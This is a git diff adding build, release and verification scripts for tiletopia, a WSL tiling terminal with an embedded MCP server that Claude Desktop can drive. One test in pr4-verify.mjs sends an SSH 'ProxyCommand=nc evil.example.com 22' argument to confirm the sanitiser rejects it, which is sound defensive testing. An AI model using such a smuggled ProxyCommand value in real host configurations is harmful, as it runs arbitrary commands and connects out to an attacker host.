'@xterm/addon-web-links@0.12.0': {}
'@xterm/xterm@5.5.0': {}
assertion-error@2.0.1: {}

259
scripts/build-mcpb.mjs Normal file
View file

@ -0,0 +1,259 @@
#!/usr/bin/env node
// build-mcpb.mjs — package tiletopia's Claude Desktop MCP bundle.
//
// Produces dist-mcpb/tiletopia.mcpb — an .mcpb (MCP Bundle, the format
// formerly known as DXT) zip containing:
// manifest.json → declares a node-type server pointing at the wrapper
// server/index.mjs → the wrapper script that reads %APPDATA% and
// execs `npx -y mcp-remote ...` (see mcpb-wrapper.mjs)
// icon.png → 128×128 brand icon
//
// Usage:
// pnpm run build:mcpb
// or
// node scripts/build-mcpb.mjs
//
// Output:
// dist-mcpb/tiletopia.mcpb — drag-and-drop this into Claude Desktop's
// Extensions panel to install.
//
// Design notes:
// - The bundle bakes in NO secrets. The bearer token + port are read at
// runtime from %APPDATA%\com.megaproxy.tiletopia\mcp.json on the user's
// own machine. Each install of tiletopia generates its own token; the
// bundle is the same for everyone.
// - We write the zip ourselves (store-only, no compression) to avoid a
// devDep on archiver/jszip/etc. The MCPB spec is just a regular zip;
// three small files = trivial.
// - The manifest's `version` mirrors package.json so the panel UI can show
// "Bundle v0.2.3 — matches running app".
import { readFile, writeFile, mkdir, stat } from "node:fs/promises";
import { existsSync } from "node:fs";
import { dirname, join, resolve } from "node:path";
import { fileURLToPath } from "node:url";
import { deflateRawSync, crc32 } from "node:zlib";
const HERE = dirname(fileURLToPath(import.meta.url));
const REPO_ROOT = resolve(HERE, "..");
const PKG_PATH = join(REPO_ROOT, "package.json");
const WRAPPER_PATH = join(HERE, "mcpb-wrapper.mjs");
const ICON_PATH = join(REPO_ROOT, "src-tauri", "icons", "128x128.png");
const OUT_DIR = join(REPO_ROOT, "dist-mcpb");
const OUT_PATH = join(OUT_DIR, "tiletopia.mcpb");
// ----------------------------------------------------------------------------
// Read inputs
// ----------------------------------------------------------------------------
if (!existsSync(WRAPPER_PATH)) {
console.error(`missing wrapper: ${WRAPPER_PATH}`);
process.exit(1);
}
if (!existsSync(ICON_PATH)) {
console.error(`missing icon: ${ICON_PATH}`);
process.exit(1);
}
const pkg = JSON.parse(await readFile(PKG_PATH, "utf8"));
const wrapperSrc = await readFile(WRAPPER_PATH);
const iconBytes = await readFile(ICON_PATH);
// ----------------------------------------------------------------------------
// Manifest
//
// Schema reference: https://github.com/modelcontextprotocol/mcpb/blob/main/MANIFEST.md
//
// type=node + entry_point pointing at server/index.mjs + mcp_config.command
// = "node" matches Claude Desktop's expectations. We avoid a `user_config`
// block on purpose — the wrapper reads the token from %APPDATA% so the user
// doesn't have to copy-paste it at install time.
// ----------------------------------------------------------------------------
const manifest = {
manifest_version: "0.3",
name: "tiletopia",
display_name: "tiletopia (workspace driver)",
version: pkg.version,
description:
"Drive your tiletopia workspace from Claude Desktop — inspect panes, " +
"read scrollback, reshape the layout, and (with policy approval) send " +
"commands.",
long_description:
"tiletopia is a Windows tiling terminal manager for WSL. This bundle " +
"lets Claude Desktop connect to a running tiletopia process on the same " +
"machine via its embedded MCP server. The bundle reads the per-install " +
"bearer token and port from %APPDATA%\\com.megaproxy.tiletopia\\mcp.json " +
"at launch, so you don't need to paste any credentials during install. " +
"Start the MCP server once from tiletopia's 🤖 panel (Server: ON), then " +
"drop this bundle into Claude Desktop and it will connect automatically. " +
"All write operations (spawn, write keystrokes, reshape) are gated by " +
"the per-pane allow-list and the user-editable policy inside tiletopia.",
author: {
name: "megaproxy",
url: "https://git.rdx4.com/megaproxy/tiletopia",
},
repository: {
type: "git",
url: "https://git.rdx4.com/megaproxy/tiletopia.git",
},
homepage: "https://git.rdx4.com/megaproxy/tiletopia",
documentation: "https://git.rdx4.com/megaproxy/tiletopia#mcp-server-claude-can-drive-the-workspace",
support: "https://git.rdx4.com/megaproxy/tiletopia/issues",
icon: "icon.png",
server: {
type: "node",
entry_point: "server/index.mjs",
mcp_config: {
command: "node",
args: ["${__dirname}/server/index.mjs"],
},
},
keywords: ["tiletopia", "wsl", "terminal", "mcp", "claude"],
license: "Proprietary",
compatibility: {
// Claude Desktop runtime requirements — the bundle launches node, which
// shells out to npx mcp-remote; both need Node 18+ on PATH.
platforms: ["win32"],
runtimes: {
node: ">=18.0.0",
},
},
};
const manifestBytes = Buffer.from(JSON.stringify(manifest, null, 2), "utf8");
// ----------------------------------------------------------------------------
// Build the .mcpb zip
//
// The MCPB spec is a plain ZIP file. We're writing three small files, so a
// pure-Node store-only writer is simplest. Avoids adding archiver as a
// devDep. Format reference: APPNOTE.TXT 6.3.4 sections 4.3 (local file
// header), 4.4 (data descriptor), 4.5 (central directory).
// ----------------------------------------------------------------------------
const SIG_LFH = 0x04034b50;
const SIG_CDH = 0x02014b50;
const SIG_EOCD = 0x06054b50;
function dosTimeDate(date) {
// DOS time/date format (2-second resolution; epoch 1980-01-01).
const yr = Math.max(date.getFullYear(), 1980) - 1980;
const time =
((date.getHours() & 0x1f) << 11) |
((date.getMinutes() & 0x3f) << 5) |
((Math.floor(date.getSeconds() / 2)) & 0x1f);
const dt =
((yr & 0x7f) << 9) |
(((date.getMonth() + 1) & 0x0f) << 5) |
(date.getDate() & 0x1f);
return { time, date: dt };
}
function buildZip(entries) {
const now = dosTimeDate(new Date());
const chunks = [];
const centralDir = [];
let offset = 0;
for (const { name, data } of entries) {
const nameBuf = Buffer.from(name, "utf8");
const crc = crc32(data); // store-only — uncompressed crc == compressed crc
const size = data.length;
// Local file header (4.3.7)
const lfh = Buffer.alloc(30);
lfh.writeUInt32LE(SIG_LFH, 0);
lfh.writeUInt16LE(20, 4); // version needed (2.0)
lfh.writeUInt16LE(0, 6); // general purpose bit flag
lfh.writeUInt16LE(0, 8); // compression: store
lfh.writeUInt16LE(now.time, 10);
lfh.writeUInt16LE(now.date, 12);
lfh.writeUInt32LE(crc, 14);
lfh.writeUInt32LE(size, 18); // compressed size (== size for store)
lfh.writeUInt32LE(size, 22); // uncompressed size
lfh.writeUInt16LE(nameBuf.length, 26);
lfh.writeUInt16LE(0, 28); // extra field length
chunks.push(lfh, nameBuf, data);
// Central directory header (4.4.7)
const cdh = Buffer.alloc(46);
cdh.writeUInt32LE(SIG_CDH, 0);
cdh.writeUInt16LE(20, 4); // version made by
cdh.writeUInt16LE(20, 6); // version needed
cdh.writeUInt16LE(0, 8); // gp flag
cdh.writeUInt16LE(0, 10); // compression
cdh.writeUInt16LE(now.time, 12);
cdh.writeUInt16LE(now.date, 14);
cdh.writeUInt32LE(crc, 16);
cdh.writeUInt32LE(size, 20); // compressed size
cdh.writeUInt32LE(size, 24); // uncompressed
cdh.writeUInt16LE(nameBuf.length, 28);
cdh.writeUInt16LE(0, 30); // extra len
cdh.writeUInt16LE(0, 32); // comment len
cdh.writeUInt16LE(0, 34); // disk number
cdh.writeUInt16LE(0, 36); // internal attrs
cdh.writeUInt32LE(0, 38); // external attrs
cdh.writeUInt32LE(offset, 42); // local header offset
centralDir.push(cdh, nameBuf);
offset += lfh.length + nameBuf.length + data.length;
}
const cdStart = offset;
for (const buf of centralDir) {
chunks.push(buf);
offset += buf.length;
}
const cdSize = offset - cdStart;
// End of central directory record (4.5)
const eocd = Buffer.alloc(22);
eocd.writeUInt32LE(SIG_EOCD, 0);
eocd.writeUInt16LE(0, 4); // disk number
eocd.writeUInt16LE(0, 6); // start disk
eocd.writeUInt16LE(entries.length, 8); // entries on this disk
eocd.writeUInt16LE(entries.length, 10); // total entries
eocd.writeUInt32LE(cdSize, 12);
eocd.writeUInt32LE(cdStart, 16);
eocd.writeUInt16LE(0, 20); // comment length
chunks.push(eocd);
// Silence the "unused on store path" lint trip; deflateRawSync stays
// imported so a future maintainer who wants to add compression doesn't
// have to re-figure out the right symbol.
void deflateRawSync;
return Buffer.concat(chunks);
}
const entries = [
{ name: "manifest.json", data: manifestBytes },
{ name: "server/index.mjs", data: wrapperSrc },
{ name: "icon.png", data: iconBytes },
];
const zipBytes = buildZip(entries);
await mkdir(OUT_DIR, { recursive: true });
await writeFile(OUT_PATH, zipBytes);
const sizeKB = (zipBytes.length / 1024).toFixed(1);
console.log(`wrote ${OUT_PATH} (${sizeKB} KB, ${entries.length} entries)`);
for (const e of entries) {
console.log(` ${e.name.padEnd(20)} ${e.data.length} bytes`);
}
console.log(
`manifest version ${manifest.version} (mirrors package.json); ` +
"to install, drag the .mcpb file into Claude Desktop's Extensions panel.",
);
// Touch stat() so any "wrote nothing" CI bug surfaces here, not at the user's
// next install.
const written = await stat(OUT_PATH);
if (written.size !== zipBytes.length) {
console.error(
`size mismatch: wrote ${zipBytes.length} bytes, file is ${written.size}`,
);
process.exit(1);
}

View file

@ -0,0 +1,170 @@
#!/usr/bin/env node
// gen-readme-shortcuts.mjs — regenerate README.md's shortcut + tips section
// from src/lib/shortcuts.ts (the single source of truth used by the in-app
// help overlay).
//
// Usage:
// node scripts/gen-readme-shortcuts.mjs # rewrite README
// node scripts/gen-readme-shortcuts.mjs --check # exit 1 if README would change
//
// To extend: add or edit entries in src/lib/shortcuts.ts, then run this
// script. The README marker block <!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->
// is replaced atomically; the rest of the README is left alone.
import { readFile, writeFile, mkdtemp, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, dirname, resolve } from "node:path";
import { fileURLToPath, pathToFileURL } from "node:url";
const HERE = dirname(fileURLToPath(import.meta.url));
const REPO_ROOT = resolve(HERE, "..");
const SHORTCUTS_TS = join(REPO_ROOT, "src", "lib", "shortcuts.ts");
const README_PATH = join(REPO_ROOT, "README.md");
const START_MARKER = "<!-- SHORTCUTS:START -->";
const END_MARKER = "<!-- SHORTCUTS:END -->";
const CHECK_MODE = process.argv.includes("--check");
// ----------------------------------------------------------------------------
// Load shortcuts.ts as data. The file is pure data exports — no React, no
// runtime imports — so we can strip TypeScript-only syntax with regex, drop
// the result into a temp .mjs file, and dynamically import it. Cheaper than
// pulling in tsx/esbuild as a devDep just for this one script.
// ----------------------------------------------------------------------------
async function loadShortcutsModule() {
const src = await readFile(SHORTCUTS_TS, "utf8");
// Strip `export interface { ... }` blocks (handles nested braces by
// walking; the file has flat interfaces today so a brace-counter is enough).
const stripped = stripInterfaceDecls(src)
// Drop `: TypeAnnotation` on the export declarations
// (e.g. `export const SHORTCUT_SECTIONS: ShortcutSection[] = [...]`).
.replace(/^(export\s+const\s+\w+)\s*:\s*[^=]+?=/gm, "$1 =");
const dir = await mkdtemp(join(tmpdir(), "tiletopia-genreadme-"));
const tmpFile = join(dir, "shortcuts.mjs");
try {
await writeFile(tmpFile, stripped, "utf8");
return await import(pathToFileURL(tmpFile).href);
} finally {
await rm(dir, { recursive: true, force: true });
}
}
function stripInterfaceDecls(src) {
let out = "";
let i = 0;
while (i < src.length) {
const match = src.slice(i).match(/^export\s+interface\s+\w+\s*\{/m);
if (!match) {
out += src.slice(i);
break;
}
const localStart = src.indexOf(match[0], i);
out += src.slice(i, localStart);
// Walk braces to find the end of the interface block.
let depth = 0;
let j = localStart + match[0].length - 1; // points at the opening `{`
for (; j < src.length; j++) {
const c = src[j];
if (c === "{") depth++;
else if (c === "}") {
depth--;
if (depth === 0) {
j++;
break;
}
}
}
i = j;
}
return out;
}
// ----------------------------------------------------------------------------
// Render the markdown block. Mirrors the README's existing table style:
// - 2-column `| Key | Action |` table
// - keys wrapped in backticks
// - description in plain prose
// Tips render as a `#### Title` heading plus a paragraph.
// ----------------------------------------------------------------------------
function renderBlock({ SHORTCUT_SECTIONS, TIPS }) {
const lines = [];
lines.push("");
lines.push("#### Keyboard shortcuts");
lines.push("");
for (const section of SHORTCUT_SECTIONS) {
lines.push(`**${section.title}**`);
lines.push("");
lines.push("| Key | Action |");
lines.push("|---|---|");
for (const item of section.items) {
lines.push(`| \`${escapeCell(item.keys)}\` | ${escapeCell(item.description)} |`);
}
lines.push("");
}
lines.push("#### Tips");
lines.push("");
for (const tip of TIPS) {
lines.push(`- **${escapeInline(tip.title)}** — ${escapeInline(tip.body)}`);
}
lines.push("");
return lines.join("\n");
}
// Cell values must not contain raw pipes (would break the table) or newlines.
function escapeCell(s) {
return s.replace(/\|/g, "\\|").replace(/\n/g, " ");
}
// Body text gets newlines collapsed but pipes kept (lists, not tables).
function escapeInline(s) {
return s.replace(/\n/g, " ");
}
// ----------------------------------------------------------------------------
// Splice the generated block into the README between the markers.
// ----------------------------------------------------------------------------
function spliceReadme(readme, block) {
const startIdx = readme.indexOf(START_MARKER);
const endIdx = readme.indexOf(END_MARKER);
if (startIdx === -1 || endIdx === -1) {
throw new Error(
`README.md is missing one of the markers (${START_MARKER} / ${END_MARKER}). ` +
"Add them around the section you want regenerated.",
);
}
if (endIdx < startIdx) {
throw new Error(`${END_MARKER} appears before ${START_MARKER} in README.md`);
}
const before = readme.slice(0, startIdx + START_MARKER.length);
const after = readme.slice(endIdx);
return `${before}\n${block}\n${after}`;
}
// ----------------------------------------------------------------------------
// Main.
// ----------------------------------------------------------------------------
const mod = await loadShortcutsModule();
const block = renderBlock(mod);
const readme = await readFile(README_PATH, "utf8");
const next = spliceReadme(readme, block);
if (CHECK_MODE) {
if (next !== readme) {
process.stderr.write(
"README.md is out of sync with src/lib/shortcuts.ts. " +
"Run `pnpm gen:readme` to regenerate.\n",
);
process.exit(1);
}
process.stdout.write("README.md is in sync with src/lib/shortcuts.ts.\n");
process.exit(0);
}
if (next === readme) {
process.stdout.write("README.md already up to date.\n");
} else {
await writeFile(README_PATH, next, "utf8");
process.stdout.write("README.md regenerated.\n");
}

110
scripts/mcpb-wrapper.mjs Normal file
View file

@ -0,0 +1,110 @@
#!/usr/bin/env node
// tiletopia .mcpb wrapper — entry_point for the bundled MCP server.
//
// What this is: a thin stdio shim Claude Desktop launches when the user
// installs `tiletopia.mcpb`. It reads the per-install MCP server settings
// (port + bearer token) that the running tiletopia app persisted to
// %APPDATA%\com.megaproxy.tiletopia\mcp.json, then execs `npx -y mcp-remote`
// with the right URL + Authorization header. Claude talks stdio to us; we
// proxy through mcp-remote, which talks HTTP to the tiletopia process.
//
// Why a wrapper (not just static args in the manifest):
// - The bearer token is per-install — generated at first server start, also
// rotated whenever the user clicks "Regenerate" in the MCP panel. We
// can't bake it into the bundle (that'd be wrong for every other user)
// and we don't want to make the user paste it into a user_config prompt
// at install time. Reading it from %APPDATA% at launch makes the whole
// thing zero-config and survives token rotation transparently.
// - The port may also drift (if the saved port is taken, tiletopia falls
// back to an OS-picked one and re-persists). Reading at launch keeps us
// correct across that too.
//
// Failure modes & messages: every error we emit goes to stderr so the user
// sees it in Claude Desktop's extension log. We deliberately do NOT swallow
// or transform mcp-remote's own output beyond piping it.
import { spawn } from "node:child_process";
import { readFileSync, existsSync } from "node:fs";
import { join } from "node:path";
const APPDATA = process.env.APPDATA;
if (!APPDATA) {
console.error(
"[tiletopia-mcpb] %APPDATA% is unset — this bundle only runs on Windows.",
);
process.exit(2);
}
const CFG_PATH = join(APPDATA, "com.megaproxy.tiletopia", "mcp.json");
if (!existsSync(CFG_PATH)) {
console.error(
`[tiletopia-mcpb] config not found at ${CFG_PATH}. ` +
"Launch tiletopia, open the 🤖 MCP panel, and click Server: ON at least " +
"once so the port + token get persisted, then retry.",
);
process.exit(3);
}
let cfg;
try {
cfg = JSON.parse(readFileSync(CFG_PATH, "utf8"));
} catch (e) {
console.error(`[tiletopia-mcpb] failed to read/parse ${CFG_PATH}: ${e.message}`);
process.exit(4);
}
const port = Number(cfg.port);
const token = String(cfg.token ?? "");
if (!Number.isInteger(port) || port <= 0 || port > 65535 || !token) {
console.error(
`[tiletopia-mcpb] ${CFG_PATH} is missing a valid port or token. ` +
"Toggle the MCP server off and on in the tiletopia panel to regenerate it.",
);
process.exit(5);
}
const url = `http://127.0.0.1:${port}/mcp`;
// `npx.cmd` on Windows is the actual launcher; bare `npx` is a shim that
// node spawns from PATH and that's also fine. spawn() with shell:true ensures
// PATHEXT resolution picks up the .cmd correctly.
const child = spawn(
"npx",
[
"-y",
"mcp-remote",
url,
"--allow-http",
"--header",
`Authorization: Bearer ${token}`,
],
{
stdio: "inherit",
shell: true,
},
);
child.on("error", (e) => {
console.error(
`[tiletopia-mcpb] failed to spawn npx: ${e.message}. ` +
"Make sure Node.js 18+ is installed and `npx` is on PATH.",
);
process.exit(6);
});
child.on("exit", (code, signal) => {
if (signal) process.kill(process.pid, signal);
else process.exit(code ?? 0);
});
// Forward terminate signals to the child so Claude Desktop's "disable
// extension" cleans up the mcp-remote subprocess.
for (const sig of ["SIGINT", "SIGTERM", "SIGHUP"]) {
process.on(sig, () => {
try {
child.kill(sig);
} catch {
/* child may already be gone */
}
});
}

232
scripts/pr4-verify.mjs Normal file
View file

@ -0,0 +1,232 @@
#!/usr/bin/env node
// PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host
// tools through the real HTTP transport so we exercise: bearer auth,
// safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write.
//
// Run from D:\dev\tiletopia with:
// node scripts/pr4-verify.mjs
import { readFileSync, writeFileSync } from "node:fs";
import { join } from "node:path";
const APPDATA = process.env.APPDATA;
if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell");
const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia");
const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8"));
const POLICY_PATH = join(CFG_DIR, "mcp-policy.json");
const HOSTS_PATH = join(CFG_DIR, "hosts.json");
const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`;
const TOKEN = MCP_CFG.token;
let sessionId = null;
let nextId = 1;
// Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload
// (parsed as JSON) that matches the message id we expect — sufficient for
// request/response calls. rmcp's streamable HTTP sends one event per RPC.
function parseSse(text, wantId) {
const lines = text.split(/\r?\n/);
let last = null;
for (const line of lines) {
if (!line.startsWith("data:")) continue;
const payload = line.slice(5).trim();
if (!payload) continue;
try {
const obj = JSON.parse(payload);
if (obj.id === wantId) return obj;
last = obj;
} catch (_) { /* skip */ }
}
return last;
}
async function rpc(method, params, { notification = false } = {}) {
const id = nextId++;
const body = notification
? { jsonrpc: "2.0", method, params }
: { jsonrpc: "2.0", id, method, params };
const headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Authorization": `Bearer ${TOKEN}`,
};
if (sessionId) headers["mcp-session-id"] = sessionId;
const res = await fetch(URL, {
method: "POST",
headers,
body: JSON.stringify(body),
});
if (notification) return null;
if (!res.ok) {
const text = await res.text();
throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`);
}
const sid = res.headers.get("mcp-session-id");
if (sid && !sessionId) sessionId = sid;
const ct = res.headers.get("content-type") || "";
const text = await res.text();
if (ct.includes("text/event-stream")) {
const parsed = parseSse(text, id);
if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`);
return parsed;
}
return JSON.parse(text);
}
function summarise(rpcResult, label) {
if (rpcResult.error) {
console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`);
return rpcResult.error;
}
const content = rpcResult.result?.content ?? rpcResult.result;
console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`);
return rpcResult.result;
}
async function callTool(name, args) {
return rpc("tools/call", { name, arguments: args });
}
function readPolicy() {
return JSON.parse(readFileSync(POLICY_PATH, "utf8"));
}
function writePolicy(p) {
writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2));
}
function readHosts() {
return JSON.parse(readFileSync(HOSTS_PATH, "utf8"));
}
// -----------------------------------------------------------------------------
console.log(`MCP URL: ${URL}`);
console.log(`Token: ${TOKEN.slice(0, 12)}`);
// Step 0: initialize.
const init = await rpc("initialize", {
protocolVersion: "2024-11-05",
capabilities: {},
clientInfo: { name: "pr4-verify", version: "1.0" },
});
console.log(`session id: ${sessionId}`);
console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`);
await rpc("notifications/initialized", {}, { notification: true });
// Step 1: tools/list — verify add_host + delete_host are present.
const list = await rpc("tools/list", {});
const toolNames = list.result.tools.map((t) => t.name).sort();
console.log(`tools: ${toolNames.join(", ")}`);
const hasAdd = toolNames.includes("add_host");
const hasDel = toolNames.includes("delete_host");
if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list");
// Snapshot state for restore at the end.
const originalPolicy = readPolicy();
const originalHosts = readHosts();
console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`);
// -----------------------------------------------------------------------------
// TEST 1: Refusal path — safeguard off → "add-host-disabled".
// -----------------------------------------------------------------------------
console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled");
// Make sure safeguard is off + add_host is in allow bucket so we test the
// safeguard gate, not the confirm modal.
writePolicy({
...originalPolicy,
permissions: {
...originalPolicy.permissions,
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
},
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false },
});
const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" });
summarise(t1, "T1");
if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) {
throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1));
}
console.log(" T1 PASS — safeguard correctly refused");
// -----------------------------------------------------------------------------
// TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject.
// -----------------------------------------------------------------------------
console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection");
writePolicy({
...originalPolicy,
permissions: {
...originalPolicy.permissions,
allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])),
},
sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true },
});
const t2 = await callTool("add_host", {
hostname: "pr4-evil.example.com",
label: "PR-4 evil",
extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"],
});
summarise(t2, "T2");
if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) {
throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2));
}
console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand");
// -----------------------------------------------------------------------------
// TEST 3: Happy path — clean args → success + verify hosts.json.
// -----------------------------------------------------------------------------
console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1");
const beforeHosts = readHosts();
const t3 = await callTool("add_host", {
hostname: "pr4-test.example.com",
label: "PR-4 verify",
user: "claude",
port: 2222,
extraArgs: ["-o", "ServerAliveInterval=30"],
});
summarise(t3, "T3");
if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message);
// Backend wraps the inner result JSON in a content array; parse it out.
let newHostId = null;
const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result;
newHostId = t3Payload.hostId;
console.log(` new hostId: ${newHostId}`);
// Allow the frontend's setHosts → saveSshHosts to land.
await new Promise((r) => setTimeout(r, 400));
const afterHosts = readHosts();
if (afterHosts.length !== beforeHosts.length + 1) {
throw new Error(`T3: hosts.json count went ${beforeHosts.length}${afterHosts.length}, expected +1`);
}
const added = afterHosts.find((h) => h.id === newHostId);
if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`);
if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch");
if (added.user !== "claude") throw new Error("T3: user mismatch");
if (added.port !== 2222) throw new Error("T3: port mismatch");
if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") {
throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs));
}
console.log(" T3 PASS — host saved with all fields intact");
// -----------------------------------------------------------------------------
// TEST 4: delete_host — verify cleanup.
// -----------------------------------------------------------------------------
console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline");
const t4 = await callTool("delete_host", { host_id: newHostId });
summarise(t4, "T4");
if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message);
await new Promise((r) => setTimeout(r, 400));
const finalHosts = readHosts();
if (finalHosts.length !== beforeHosts.length) {
throw new Error(`T4: hosts.json count went ${afterHosts.length}${finalHosts.length}, expected ${beforeHosts.length}`);
}
if (finalHosts.find((h) => h.id === newHostId)) {
throw new Error(`T4: hostId ${newHostId} still in hosts.json`);
}
console.log(" T4 PASS — host removed");
// -----------------------------------------------------------------------------
// Restore original policy.
// -----------------------------------------------------------------------------
writePolicy(originalPolicy);
console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`);
console.log("\nALL TESTS PASS ✓");

View file

@ -9,6 +9,11 @@
# exists at src-tauri/target/release/bundle/nsis/*.exe.
# 3. `tea login list` shows the `rdx4` login is active.
#
# Attaches two assets:
# - <name>-setup.exe — NSIS installer
# - tiletopia.mcpb — Claude Desktop one-click MCP extension bundle
# (built by this script from src/ at release time)
#
# Usage:
# scripts/release.sh v0.1.0
#
@ -65,6 +70,23 @@ fi
echo "Installer: $installer"
echo "Size: $(du -h "$installer" | cut -f1)"
# Build + locate the .mcpb bundle. The McpPanel's "Download .mcpb" button
# opens this release page, so the asset has to be here for the click to work.
#
# Called via `node` directly (not `pnpm run build:mcpb`) because pnpm
# triggers an `install` step first that walks node_modules — hangs for
# minutes when this script runs from WSL against the /mnt/d/ Windows
# filesystem. The build:mcpb script is pure Node + fs; no deps to install.
echo "Building .mcpb bundle…"
node scripts/build-mcpb.mjs >/dev/null
mcpb="dist-mcpb/tiletopia.mcpb"
if [[ ! -f "$mcpb" ]]; then
echo "build-mcpb.mjs finished but $mcpb is missing" >&2
exit 1
fi
echo "Bundle: $mcpb"
echo "Size: $(du -h "$mcpb" | cut -f1)"
# Tag and push
if git rev-parse "$TAG" >/dev/null 2>&1; then
echo "tag $TAG already exists locally — bail (delete it first if intentional)" >&2
@ -73,13 +95,14 @@ fi
git tag -a "$TAG" -m "Release $TAG"
git push origin "$TAG"
# Create the release with the installer attached
# Create the release with the installer + .mcpb bundle attached
tea releases create \
--login rdx4 \
--tag "$TAG" \
--title "$TAG" \
--note "tiletopia $TAG. Download the .exe below, run it, accept SmartScreen (\"More info → Run anyway\") — installer isn't code-signed." \
--asset "$installer"
--note "tiletopia $TAG. Download the .exe below, run it, accept SmartScreen (\"More info → Run anyway\") — installer isn't code-signed. tiletopia.mcpb is the Claude Desktop one-click install bundle (Settings → Extensions → drag and drop)." \
--asset "$installer" \
--asset "$mcpb"
echo
echo "✓ released $TAG → https://git.rdx4.com/megaproxy/tiletopia/releases/tag/$TAG"

1101
src-tauri/Cargo.lock generated

File diff suppressed because it is too large Load diff

View file

@ -1,6 +1,6 @@
[package]
name = "tiletopia"
version = "0.2.0"
version = "0.4.1"
description = "Tiling multi-terminal manager for WSL"
authors = ["megaproxy"]
edition = "2021"
@ -15,6 +15,29 @@ tauri-build = { version = "2", features = [] }
[dependencies]
tauri = { version = "2", features = [] }
tauri-plugin-clipboard-manager = "2"
tauri-plugin-opener = "2"
# Saved-credential storage (Windows Credential Manager / DPAPI).
keyring-core = "1"
windows-native-keyring-store = "1"
# Embedded MCP server: lets a Claude session drive the workspace
# (list panes, read scrollback, etc.). Streamable HTTP transport mounted
# on an Axum router so we can add a bearer-auth middleware in front.
rmcp = { version = "=1.7.0", features = [
"server",
"macros",
"schemars",
"transport-streamable-http-server",
] }
schemars = "1"
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
tower = "0.5"
tokio-util = { version = "0.7", features = ["rt"] }
rand = "0.9"
hex = "0.4"
regex = "1"
serde = { version = "1", features = ["derive"] }
serde_json = "1"

View file

@ -2,10 +2,20 @@
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Default capability set for wsl-mux spike",
"windows": ["main"],
"windows": ["main", "pane-window-*"],
"permissions": [
"core:default",
"core:event:default",
"core:window:default"
"core:window:default",
"clipboard-manager:allow-read-text",
"clipboard-manager:allow-write-text",
{
"identifier": "opener:allow-open-url",
"allow": [
{ "url": "http://*" },
{ "url": "https://*" },
{ "url": "mailto:*" }
]
}
]
}

View file

@ -1,9 +1,17 @@
//! Tauri command surface. Every JS-callable function lives here.
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
use tauri::{AppHandle, Manager};
use std::sync::Arc;
use crate::pty::{list_wsl_distros, PaneId, PtyManager};
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
use tauri::{AppHandle, Manager, WebviewUrl, WebviewWindowBuilder};
use tokio::sync::RwLock;
use crate::creds;
use crate::hosts::{self, SshHost, SshHostView};
use crate::mcp::{self, McpMirror, McpServerHandle, McpState, PendingActions, RunningServer};
use crate::mcp_policy::McpPolicy;
use crate::pty::{list_wsl_distros, PaneId, PtyManager, SpawnSpec};
use crate::window_state::{PendingInit, PendingInits, WindowsState};
const WORKSPACE_FILE: &str = "workspace.json";
@ -15,22 +23,19 @@ pub async fn list_distros() -> Result<Vec<String>, String> {
#[tauri::command]
pub async fn spawn_pane(
app: AppHandle,
manager: tauri::State<'_, PtyManager>,
distro: Option<String>,
cwd: Option<String>,
manager: tauri::State<'_, Arc<PtyManager>>,
spec: SpawnSpec,
cols: u16,
rows: u16,
) -> Result<PaneId, String> {
manager
.spawn_wsl(app, distro, cwd, cols, rows)
.map_err(|e| e.to_string())
manager.spawn(app, spec, cols, rows).map_err(|e| e.to_string())
}
/// `data_b64` is base64-encoded UTF-8 bytes (xterm.js's `onData` emits
/// strings; the frontend encodes before sending).
#[tauri::command]
pub async fn write_to_pane(
manager: tauri::State<'_, PtyManager>,
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
